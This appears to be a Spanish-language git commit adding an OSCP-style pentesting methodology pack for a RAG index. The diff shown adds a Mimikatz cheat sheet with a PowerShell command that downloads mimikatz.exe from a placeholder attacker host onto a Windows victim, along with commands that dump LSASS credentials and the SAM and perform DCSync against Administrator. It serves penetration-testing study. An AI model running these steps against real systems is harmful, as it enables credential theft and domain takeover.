saber: pack de metodologia publico (conocimiento/) + doc del RAG

El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP,
scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya
sabe de enumeracion, explotacion web, shells, privesc, Active Directory,
cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.

nucleo/saber/conocimiento/05 - Active Directory/Mimikatz.md

@@ -0,0 +1,26 @@
+# Mimikatz
+
+> Un **.exe que corre DENTRO de la víctima Windows** (no en Kali). Lee la memoria de **LSASS** y vuelca credenciales. En `tu carpeta`.
+
+## Subir y ejecutar
+```powershell
+iwr http://TU_IP/mimikatz/x64/mimikatz.exe -OutFile C:\Windows\Temp\m.exe   # Transferencia de ficheros
+C:\Windows\Temp\m.exe
+```
+
+## Comandos clave (dentro de mimikatz)
+```
+privilege::debug                         # imprescindible primero
+sekurlsa::logonpasswords                 # hashes NTLM, tickets, a veces pass en claro (wdigest)
+lsadump::sam                             # SAM local
+lsadump::dcsync /user:Administrator      # DCSync (si tienes permisos de replicación)
+```
+
+## Requisito
+Necesitas ser **admin/SYSTEM** en la máquina (Privesc Windows / Potato attacks).
+
+## Después
+- Hash NTLM → Pass-the-Hash / Impacket → Movimiento lateral.
+- Pregúntale a BloodHound qué hacer con ese usuario.
+
+Relacionado: Kerberos · secretsdump · OSCP MOC